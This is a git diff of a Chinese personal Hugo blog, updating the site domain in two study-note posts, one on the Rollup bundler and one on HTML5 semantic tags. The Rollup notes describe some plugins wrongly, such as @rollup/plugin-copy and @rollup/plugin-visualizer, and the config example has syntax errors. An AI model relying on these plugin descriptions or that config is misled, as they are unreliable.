DEV:1\n这个可以通过环境变量的不同，来做不同的处理，而不需要写多套config配置了\nRollup的Tree-shaking功能，只对使用的模块进行打包，对于没有使用的模块是不进行打包的\nRollup常用插件（vite使用Rollup作为打包工具，因此vite也可以使用Rollup插件）\n@rollup/plugin-json，打包json文件成js代码\n安装\nyarn add @rollup/plugin-json\n使用\nyarn rollup -c rollup.config.js –plugin json\n如果不想在命令行设置要使用的插件，也可以在rollup.config.js下设置\nimport json form rollup/plugin-json export default { input: [\"./src/demo.js\"], output: { file: \"./dist/bundle.js\", format: \"cjs\", name: \"experience\", plugins: [], banner: '/**hallo word**/', }, externals: [ 'react' ] plugins:[ json(), ] } 可以看到Rollup插件是函数，并且是顺序执行插件\nexternals可以指定不打包的模块\nbanner是指定打包完成文件头部的注释，会和rollup-plugin-terser插件冲突，代码压缩会删除全部注释\n也可以通过设置npm script脚本来简化命令\n'scripts':{ 'build': 'rollup -c rollup.config.js' } 执行npm run build或者yarn build都可以执行\n@rollup/plugin-babel，将es6文件转换为es5文件\n@rollup/plugin-alias，设置模块别名，不需要写很长很长的路径，例如：\nplugins: [ alias({ entries: [ { find: 'main', replacement: '../src/main' }, { find: 'test', replacement: './test' } ] }) ] index.js\nimport main from 'main' import test from 'test' @rollup/plugin-commonjs，让其支持CommonJS模块标准打包\n@rollup/plugin-vue，打包.vue文件，vue2和vue3使用的插件版本不同，vue3使用的是@rollup/plugin-vue6.0.0版本以上，而vue2使用@rollup/plugin-vue5.1.9版本，而且还需要搭配vue编译器使用，vue3使用@vue/compiler-sfc，vue2使用vue-template-compiler\n@rollup/plugin-node-resolve，允许打包第三方模块，这个插件需要搭配@rollup/plugin-commonjs使用，因为这个插件底层实现是使用了CommonJS模块标准\n@rollup/plugin-typescript，增加typescript支持，TypeScript版本要求3.7以及以上\n@rollup/plugin-image，支持图片加载依赖，图片会被编码为base64格式（体积会增加）\nrollup-plugin-terser，代码压缩插件，应该在打包完成后执行该插件，因此应该在output内部的plugins设置，老插件，这个插件没有设置default，import使用时需要{terser}\n@rollup/plugin-postcss，让其支持使用postcss以及postcss插件\n@rollup/plugin-serve，启动本地服务器\n@rollup/plugin-livereload，文件发生变化，进行实时刷新\n@rollup/plugin-eslint，打包时校验语法是否符合规范\n@rollup/plugin-copy，打包时删除debugger语句和函数，例如console.log\n@rollup/plugin-visualizer，加载WebAssembly模块\n","wordCount":"222","inLanguage":"en","datePublished":"2021-11-10T16:22:00Z","dateModified":"2021-11-10T16:22:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/119/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Rollup模块打包工具</h1><div class=post-meta><span title='2021-11-10 16:22:00 +0000 UTC'>2021-11-10</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Rollup%e6%a8%a1%e5%9d%97%e6%89%93%e5%8c%85%e5%b7%a5%e5%85%b7.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。</p><p>Rollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的</p><p>注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案</p><p>提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包</p><p>Rollup是ESM模块标准构建打包工具，源必须使用ESM模块标准，如果需要使用其他标准可通过插件完成</p><p>安装rollup</p><p>npm install rollup</p><p>查看帮助文档</p><p>rollup &ndash;help</p><p>打包使用</p><pre><code>rollup -i index.js
+</code></pre><p>默认输出到终端</p><p>指定输出到哪个文件</p><pre><code> rollup -i index.js --file dist.js
+</code></pre><p>还可以指定输出模块标准是哪个</p><pre><code> rollup -i index.js --file dist.js --format umd
+
+ rollup -i index.js --file dist.js --format cjs
+
+ rollup -i index.js --file dist.js --format iife
+</code></pre><p>打包</p><p>rollup src/demo.js -f cjs -o dist/bundle.js</p><p>注意：-f是&ndash;format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife</p><p>使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中</p><p>rollup src/demo.js -f umd -o dist/bundle.js &ndash;name hallo</p><p>在global下声明一个名为hallo的对象，用来挂载全部的export模块</p><p>一次打包多个文件</p><p>rollup -i index.js -i main.js &ndash;dir dist &ndash;format cjs</p><p>如果想监听文件是否改动，可以使用-w参数（&ndash;watch），当文件发生改动的时候，重新打包</p><p>配置文件（rollup.config.js）</p><pre><code>export default {
+    input: [&quot;./src/demo.js&quot;],
+    output: {
+        file: &quot;./dist/bundle.js&quot;,
+        format: &quot;cjs&quot;,
+        name: &quot;experience&quot;,
+    },
+}
 </code></pre><p>如果配置文件想使用module.exports = {}的方式，需要将配置文件修改为.cjs文件</p><p>执行命令</p><p>rollup -c rollup.config.js</p><p>或者</p><p>rollup &ndash;config rollup.config.js</p><p>打包阶段传递环境变量</p><p>rollup.config.js获取设置的变量
 console.log(process.env.DEV)</p><p>执行时设置环境变量
-rollup -c rollup.config.js &ndash;environment DEV:1</p><p>这个可以通过环境变量的不同，来做不同的处理，而不需要写多套config配置了</p><p>Rollup的Tree-shaking功能，只对使用的模块进行打包，对于没有使用的模块是不进行打包的</p><hr><p>Rollup常用插件（vite使用Rollup作为打包工具，因此vite也可以使用Rollup插件）</p><p>@rollup/plugin-json，打包json文件成js代码</p><p>安装</p><p>yarn add @rollup/plugin-json</p><p>使用</p><p>yarn rollup -c rollup.config.js &ndash;plugin json</p><p>如果不想在命令行设置要使用的插件，也可以在rollup.config.js下设置</p><pre><code>import json form rollup/plugin-json
-export default {
-    input: [&quot;./src/demo.js&quot;],
-    output: {
-        file: &quot;./dist/bundle.js&quot;,
-        format: &quot;cjs&quot;,
-        name: &quot;experience&quot;,
-        plugins: [],
-        banner: '/**hallo word**/',
-    },
-    externals: [
-        'react'
-    ]
-    plugins:[
-        json(),
-    ]
-}
-</code></pre><p>可以看到Rollup插件是函数，并且是顺序执行插件</p><p>externals可以指定不打包的模块</p><p>banner是指定打包完成文件头部的注释，会和rollup-plugin-terser插件冲突，代码压缩会删除全部注释</p><p>也可以通过设置npm script脚本来简化命令</p><pre><code>'scripts':{
-    'build': 'rollup -c rollup.config.js'
-}
-</code></pre><p>执行npm run build或者yarn build都可以执行</p><p>@rollup/plugin-babel，将es6文件转换为es5文件</p><p>@rollup/plugin-alias，设置模块别名，不需要写很长很长的路径，例如：</p><pre><code>plugins: [
-    alias({
-        entries: [
-            { find: 'main', replacement: '../src/main' },
-            { find: 'test', replacement: './test' }
-        ]
-    })
-]
-</code></pre><p>index.js</p><pre><code>import main from 'main'
-import test from 'test'
-</code></pre><p>@rollup/plugin-commonjs，让其支持CommonJS模块标准打包</p><p>@rollup/plugin-vue，打包.vue文件，vue2和vue3使用的插件版本不同，vue3使用的是@rollup/plugin-vue6.0.0版本以上，而vue2使用@rollup/plugin-vue5.1.9版本，而且还需要搭配vue编译器使用，vue3使用@vue/compiler-sfc，vue2使用vue-template-compiler</p><p>@rollup/plugin-node-resolve，允许打包第三方模块，这个插件需要搭配@rollup/plugin-commonjs使用，因为这个插件底层实现是使用了CommonJS模块标准</p><p>@rollup/plugin-typescript，增加typescript支持，TypeScript版本要求3.7以及以上</p><p>@rollup/plugin-image，支持图片加载依赖，图片会被编码为base64格式（体积会增加）</p><p>rollup-plugin-terser，代码压缩插件，应该在打包完成后执行该插件，因此应该在output内部的plugins设置，老插件，这个插件没有设置default，import使用时需要{terser}</p><p>@rollup/plugin-postcss，让其支持使用postcss以及postcss插件</p><p>@rollup/plugin-serve，启动本地服务器</p><p>@rollup/plugin-livereload，文件发生变化，进行实时刷新</p><p>@rollup/plugin-eslint，打包时校验语法是否符合规范</p><p>@rollup/plugin-copy，打包时删除debugger语句和函数，例如console.log</p><p>@rollup/plugin-visualizer，加载WebAssembly模块</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/rollup/>Rollup</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/120/><span class=title>« Prev</span><br><span>shell脚本学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/117/><span class=title>Next »</span><br><span>Web.py学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+rollup -c rollup.config.js &ndash;environment DEV:1</p><p>这个可以通过环境变量的不同，来做不同的处理，而不需要写多套config配置了</p><p>Rollup的Tree-shaking功能，只对使用的模块进行打包，对于没有使用的模块是不进行打包的</p><hr><p>Rollup常用插件（vite使用Rollup作为打包工具，因此vite也可以使用Rollup插件）</p><p>@rollup/plugin-json，打包json文件成js代码</p><p>安装</p><p>yarn add @rollup/plugin-json</p><p>使用</p><p>yarn rollup -c rollup.config.js &ndash;plugin json</p><p>如果不想在命令行设置要使用的插件，也可以在rollup.config.js下设置</p><pre><code>import json form rollup/plugin-json
+export default {
+    input: [&quot;./src/demo.js&quot;],
+    output: {
+        file: &quot;./dist/bundle.js&quot;,
+        format: &quot;cjs&quot;,
+        name: &quot;experience&quot;,
+        plugins: [],
+        banner: '/**hallo word**/',
+    },
+    externals: [
+        'react'
+    ]
+    plugins:[
+        json(),
+    ]
+}
+</code></pre><p>可以看到Rollup插件是函数，并且是顺序执行插件</p><p>externals可以指定不打包的模块</p><p>banner是指定打包完成文件头部的注释，会和rollup-plugin-terser插件冲突，代码压缩会删除全部注释</p><p>也可以通过设置npm script脚本来简化命令</p><pre><code>'scripts':{
+    'build': 'rollup -c rollup.config.js'
+}
+</code></pre><p>执行npm run build或者yarn build都可以执行</p><p>@rollup/plugin-babel，将es6文件转换为es5文件</p><p>@rollup/plugin-alias，设置模块别名，不需要写很长很长的路径，例如：</p><pre><code>plugins: [
+    alias({
+        entries: [
+            { find: 'main', replacement: '../src/main' },
+            { find: 'test', replacement: './test' }
+        ]
+    })
+]
+</code></pre><p>index.js</p><pre><code>import main from 'main'
+import test from 'test'
+</code></pre><p>@rollup/plugin-commonjs，让其支持CommonJS模块标准打包</p><p>@rollup/plugin-vue，打包.vue文件，vue2和vue3使用的插件版本不同，vue3使用的是@rollup/plugin-vue6.0.0版本以上，而vue2使用@rollup/plugin-vue5.1.9版本，而且还需要搭配vue编译器使用，vue3使用@vue/compiler-sfc，vue2使用vue-template-compiler</p><p>@rollup/plugin-node-resolve，允许打包第三方模块，这个插件需要搭配@rollup/plugin-commonjs使用，因为这个插件底层实现是使用了CommonJS模块标准</p><p>@rollup/plugin-typescript，增加typescript支持，TypeScript版本要求3.7以及以上</p><p>@rollup/plugin-image，支持图片加载依赖，图片会被编码为base64格式（体积会增加）</p><p>rollup-plugin-terser，代码压缩插件，应该在打包完成后执行该插件，因此应该在output内部的plugins设置，老插件，这个插件没有设置default，import使用时需要{terser}</p><p>@rollup/plugin-postcss，让其支持使用postcss以及postcss插件</p><p>@rollup/plugin-serve，启动本地服务器</p><p>@rollup/plugin-livereload，文件发生变化，进行实时刷新</p><p>@rollup/plugin-eslint，打包时校验语法是否符合规范</p><p>@rollup/plugin-copy，打包时删除debugger语句和函数，例如console.log</p><p>@rollup/plugin-visualizer，加载WebAssembly模块</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/rollup/>Rollup</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/120/><span class=title>« Prev</span><br><span>shell脚本学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/117/><span class=title>Next »</span><br><span>Web.py学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/12/index.html b/posts/12/index.html
index e1542af3..4a6b9477 100644
--- a/posts/12/index.html
+++ b/posts/12/index.html
@@ -31,16 +31,16 @@
 要注意可以改变样式的标签不一定是有居于语义的
 在没有出现语义元素前，几乎都是使用div或者span，加类加id
 没有语义的元素最适合当容器使用了
-常用的非语义元素有<div>和<span>
常用的语义元素有<header>和<footer>
<header>：页眉，一般包括网站logo，主导航，搜索框等；
<nav>：导航，链接；
<main>：定义文章的主要内容，一个页面只能使用一次；
<article>：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；
<section>：定义内容的节（段）；
<footer>：页脚，一般包含版权信息或者链接等；
<aside>：侧边栏，一般作为附属信息，例如导航索引，广告等；
meta viewport
+常用的非语义元素有<div>和<span> 常用的语义元素有<header>和<footer> <header>：页眉，一般包括网站logo，主导航，搜索框等； <nav>：导航，链接； <main>：定义文章的主要内容，一个页面只能使用一次； <article>：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分； <section>：定义内容的节（段）； <footer>：页脚，一般包含版权信息或者链接等； <aside>：侧边栏，一般作为附属信息，例如导航索引，广告等； meta viewport
 viewport 是指 web 页面上的可见区域
-<meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;>
device-width指设备的理想宽度,不同的设备 device-width 是不一样的
+<meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;> device-width指设备的理想宽度,不同的设备 device-width 是不一样的
 nitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放
 maximum-scale=1.0 是指最大缩放大小是1
 标签使用<和>括起来，例如<div>
 html标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/
 例如： html不区分大小写。所以<DIV>和<div>作用一样。建议使用小写
-<!DOCTYPE html>声明这是一个html5文件，声明位于<html>前面
<html> 标识HTML文档的开始
<head>表明一些和html文档有关的信息，例如title
<body>html文档的主体
<!"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/12/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="html5学习笔记"><meta property="og:description" content="HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
+<!DOCTYPE html>声明这是一个html5文件，声明位于<html>前面 <html> 标识HTML文档的开始 <head>表明一些和html文档有关的信息，例如title <body>html文档的主体 <!"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/12/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="html5学习笔记"><meta property="og:description" content="HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
 HTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML
 而HTML5是一个标准，指的是第五代HTML标准
 HTML5主要的新特性：
@@ -73,15 +73,15 @@
 要注意可以改变样式的标签不一定是有居于语义的
 在没有出现语义元素前，几乎都是使用div或者span，加类加id
 没有语义的元素最适合当容器使用了
-常用的非语义元素有<div>和<span>
常用的语义元素有<header>和<footer>
<header>：页眉，一般包括网站logo，主导航，搜索框等；
<nav>：导航，链接；
<main>：定义文章的主要内容，一个页面只能使用一次；
<article>：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；
<section>：定义内容的节（段）；
<footer>：页脚，一般包含版权信息或者链接等；
<aside>：侧边栏，一般作为附属信息，例如导航索引，广告等；
meta viewport
+常用的非语义元素有<div>和<span> 常用的语义元素有<header>和<footer> <header>：页眉，一般包括网站logo，主导航，搜索框等； <nav>：导航，链接； <main>：定义文章的主要内容，一个页面只能使用一次； <article>：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分； <section>：定义内容的节（段）； <footer>：页脚，一般包含版权信息或者链接等； <aside>：侧边栏，一般作为附属信息，例如导航索引，广告等； meta viewport
 viewport 是指 web 页面上的可见区域
-<meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;>
device-width指设备的理想宽度,不同的设备 device-width 是不一样的
+<meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;> device-width指设备的理想宽度,不同的设备 device-width 是不一样的
 nitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放
 maximum-scale=1.0 是指最大缩放大小是1
 标签使用<和>括起来，例如<div>
 html标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/
 例如： html不区分大小写。所以<DIV>和<div>作用一样。建议使用小写
-<!DOCTYPE html>声明这是一个html5文件，声明位于<html>前面
<html> 标识HTML文档的开始
<head>表明一些和html文档有关的信息，例如title
<body>html文档的主体
<!"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/12/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:22:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:22:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="html5学习笔记"><meta name=twitter:description content="HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
+<!DOCTYPE html>声明这是一个html5文件，声明位于<html>前面 <html> 标识HTML文档的开始 <head>表明一些和html文档有关的信息，例如title <body>html文档的主体 <!"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/12/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:22:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:22:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="html5学习笔记"><meta name=twitter:description content="HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
 HTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML
 而HTML5是一个标准，指的是第五代HTML标准
 HTML5主要的新特性：
@@ -114,162 +114,162 @@
 要注意可以改变样式的标签不一定是有居于语义的
 在没有出现语义元素前，几乎都是使用div或者span，加类加id
 没有语义的元素最适合当容器使用了
-常用的非语义元素有<div>和<span>
常用的语义元素有<header>和<footer>
<header>：页眉，一般包括网站logo，主导航，搜索框等；
<nav>：导航，链接；
<main>：定义文章的主要内容，一个页面只能使用一次；
<article>：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；
<section>：定义内容的节（段）；
<footer>：页脚，一般包含版权信息或者链接等；
<aside>：侧边栏，一般作为附属信息，例如导航索引，广告等；
meta viewport
+常用的非语义元素有<div>和<span> 常用的语义元素有<header>和<footer> <header>：页眉，一般包括网站logo，主导航，搜索框等； <nav>：导航，链接； <main>：定义文章的主要内容，一个页面只能使用一次； <article>：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分； <section>：定义内容的节（段）； <footer>：页脚，一般包含版权信息或者链接等； <aside>：侧边栏，一般作为附属信息，例如导航索引，广告等； meta viewport
 viewport 是指 web 页面上的可见区域
-<meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;>
device-width指设备的理想宽度,不同的设备 device-width 是不一样的
+<meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;> device-width指设备的理想宽度,不同的设备 device-width 是不一样的
 nitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放
 maximum-scale=1.0 是指最大缩放大小是1
 标签使用<和>括起来，例如<div>
 html标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/
 例如： html不区分大小写。所以<DIV>和<div>作用一样。建议使用小写
-<!DOCTYPE html>声明这是一个html5文件，声明位于<html>前面
<html> 标识HTML文档的开始
<head>表明一些和html文档有关的信息，例如title
<body>html文档的主体
